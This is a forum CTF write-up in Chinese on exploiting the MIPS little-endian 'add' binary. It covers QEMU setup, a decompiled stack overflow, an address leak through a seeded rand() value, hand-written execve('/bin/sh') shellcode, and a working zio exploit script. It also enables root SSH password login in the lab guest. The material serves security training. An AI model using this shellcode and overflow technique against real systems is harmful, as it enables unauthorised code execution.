参考了了 https://www.giantbranch.cn/2017/12/29/MIPS%20PWN%20%E5%AE%9E%E4%BE%8B%20%E2%80%94%E2%80%94%20UCTF%202016%20ADD/
基础知识:
环境搭建,mips指令,mips shellcode的编写
遇到的坑:mips编译,大小端;shellcode通过相对跳转跳过破坏的栈数据
思路:栈溢出,又没有nx,直接执行shellcode,通过伪随机数漏洞可以泄露栈地址。
问题:qemu的nat模式可以连接互联网,但是bridge模式,guest还是无法联网,但是不影响本题目。如果有大佬知道怎么解决,请留言告诉我一下~我的环境是Ubuntu 16.04的VMware虚拟机。
两种方案:1、nat模式下联网安装软件,bridge模式下guest与host可以互通,ssh连接。
2、只使用nat模式,同时使用-redir tcp:11022::22 进行端口映射,这样就可以通过ssh -p 11022 [email protected] 来连接guest虚拟机了。
为什么非要ssh连接guest呢,因为guest原有的终端太差,总是显示乱码。
题目: https://dn.jarvisoj.com/challengefiles/add.1f54e2c8b9396f83a4be2632bcb3a5f5
这是2016全国大学生信息安全竞赛的一个题,是MIPSEL(小端的)
qemu虚拟机可以在这里下
https://people.debian.org/~aurel32/qemu/mipsel/
可以连接互联网
qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev user,id=net0 -device e1000,netdev=net0,id=net0,mac=52:54:00:c9:18:27 -redir tcp:11022::22 -redir tcp:11000::11000 -nographic
这样就可以与guest虚拟机ssh连接了,而且guest虚拟机可以连接互联网
,可以内网连接
sudo qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -net nic,macaddr=00:16:3e:00:00:01 -net tap -nographic
host的/etc/network/interfaces
# interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback iface ens33 inet dhcp auto br0 iface br0 inet dhcp bridge_ports ens33 bridge_stp off bridge_maxwait 0 bridge_fd 0
/etc/qemu-ifup 末尾添加
echo "W: $0: no bridge for guest interface found" >&2 echo "Executing /ect/qemu-ifup" echo "Bringing $1 for 0.0.0.0 promisc up" echo "Adding $1 to br0..." sudo /sbin/brctl addif br0 $1 sleep3
环境:root root登录
源的问题
cp -r /etc/apt/sources.list /etc/apt/sources.list.bak;
echo "deb http://archive.debian.org/debian/ wheezy main contrib non-free" > /etc/apt/sources.list;
cat /etc/apt/sources.list;
apt-get update;
apt-get update
apt-get install build-essential gdb socat tmux python-pip git
git clone https://github.com/zTrix/zio.git
python setup.py install
guest里面配置ip
ifconfig eth0 172.16.250.140 netmask 255.255.255.0
guset里面配置ssh,添加
AllowUsers root PermitRootLogin yes PasswordAuthentication yes
开启Python server
l@ubuntu:~/test/mips_env/add$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
qemu虚拟机内下载下来
wget http://172.16.250.128:8080/add
l@ubuntu:~/test/mips_env/add$ checksec add
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/l/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.13.0 --> 4.1.0).
Update with: $ pip install -U pwntools
[*] '/home/l/test/mips_env/add/add'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
int main(void) { int iVar1; long lVar2; long lVar3; char *buf_p; uint uVar4; char challenge [10]; char buf [64]; 缓冲区 setvbuf(stdout,(char *)0x0,2,0); puts("[calc]"); puts("Type \'help\' for help."); srand(0x123456); iVar1 = rand(); sprintf(challenge,"%d",iVar1); uVar4 = 0x80; buf_p = buf; do { if (uVar4 < 2) break; LAB_00400984: iVar1 = _IO_getc(stdin); if (iVar1 < 0) goto LAB_00400ad4; LAB_004009a4: *buf_p = (char)iVar1; 循环读入,栈溢出!!! uVar4 = uVar4 - 1; buf_p = buf_p + 1; } while (iVar1 != 10); if (uVar4 == 0) goto LAB_004009c0; do { *buf_p = '\0'; LAB_004009c0: buf_p = strchr(buf,10); if (buf_p != (char *)0x0) { *buf_p = '\0'; } iVar1 = strcmp(buf,"help"); if (iVar1 == 0) { buf_p = "Type \'exit\' to exit."; LAB_00400b18: puts(buf_p); puts("Input 2 numbers just like:"); puts("1 2"); } else { iVar1 = strcmp(buf,"exit"); if (iVar1 == 0) { puts("Exiting..."); return 0; } iVar1 = strcmp(buf,challenge); if (iVar1 == 0) { printf("Your input was %p\n",buf); uVar4 = 0x80; buf_p = buf; goto LAB_00400984; } buf_p = strchr(buf,0x20); if (buf_p == (char *)0x0) { buf_p = "Error!"; goto LAB_00400b18; } lVar2 = strtol(buf,(char **)0x0,10); lVar3 = strtol(buf_p + 1,(char **)0x0,10); printf("%d + %d = %d\n",lVar2,lVar3,lVar3 + lVar2); if (lVar3 + lVar2 == 0x133a05e) { puts("Thanks,Bye~"); return 0; } } uVar4 = 0x80; iVar1 = _IO_getc(stdin); buf_p = buf; if (-1 < iVar1) goto LAB_004009a4; LAB_00400ad4: if (buf_p == buf) { return 0; } } while( true ); }
返回地址保存在$sp+0x98-4
读入的数据保存在$sp+0x24,两者相差0x70,即112
函数返回的断点
b* 0x400b08
poc如下
from zio import * io=zio('./add') io.read_until('help.\n') io.gdb_hint([0x4009b4]) #after getchar io.writeline('10080303 10080303'+'\x00'+'a'*(0x70-18)+'b'*4) io.interact()
因为没有开启nx保护,所以可以直接在栈中执行shellcode,但是需要定位到shellcode
想泄露,需要满足输入与challenge相同,而challenge来自伪随机数
在b *0x40098c下断点,看伪随机数
不能用j,因为是绝对地址跳转
需要用bne,相对跳转
需要跳过坑!!(有些栈数据被程序破坏掉,会导致shellcode执行不正常)
.global main main: li $a2,0x111 # p:bltzal $a2,p # 该指令执行后,会使得下行的地址保存在$ra中 li $a2,0 # 存入第三个参数0, addiu $sp,$sp,-60 # 拉高堆栈,存放参数 addiu $a0,$ra,52 # $ra+52是下面参数字符串/bin/sh的首地址 sw $a0,-24($sp) # 将/bin/sh存入开辟的数组 sw $zero,-20($sp) # 将参数0存入数组 addiu $a1,$sp,-24 bne $a0,$a2,q#jump li $a2,0 #nop li $a2,0 #nop li $a2,0 #nop li $a2,0 #nop q:li $v0,4011 syscall sc: # 存储的参数/bin/sh .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00
一定要注意是小端
all: mips-linux-gnu-as -EL --32 shellcode.s -o shellcode
打开ghidra的Window菜单下的bytes窗口
from zio import * io=zio('./add',timeout=10000) io.read_until('help.\n') io.gdb_hint() #after getchar io.writeline('2057561479') io.read_until('Your input was ') buf_addr=io.read_until('\n')[:-1] buf_addr_int=int(buf_addr,16) shellcode="\x11\x01\x06\x24\xff\xff\xd0\x04\x00\x00\x00\x00\x00\x00\x06\x24\xc4\xff\xbd\x27\x34\x00\xe4\x27\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\x05\x00\x86\x14\xe8\xff\xa5\x27\x00\x00\x06\x24\x00\x00\x06\x24\x00\x00\x06\x24\x00\x00\x06\x24\xab\x0f\x02\x24\x0c\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00" #length 72 payload='10080303 10080303'+'\x00'*3 #20 payload+=shellcode #20+72 payload+='a'*(0x70-92) payload+=l32(buf_addr_int+20) #ret addr io.writeline(payload) io.interact()
~/.gdbinit
source ~/gdb.cmd
~/gdb.cmd
b *0x4009b4 b* 0x400b08 set disassemble-next-line on
buf地址泄露
函数返回的断点
b* 0x400b08
返回地址覆盖为buf+20
成功!!!
[培训]科锐逆向工程师培训班38期--远程教学预课班将于 2020年5月28日 正式开班!
最后于 2天前 被nicaicaiwo编辑 ,原因: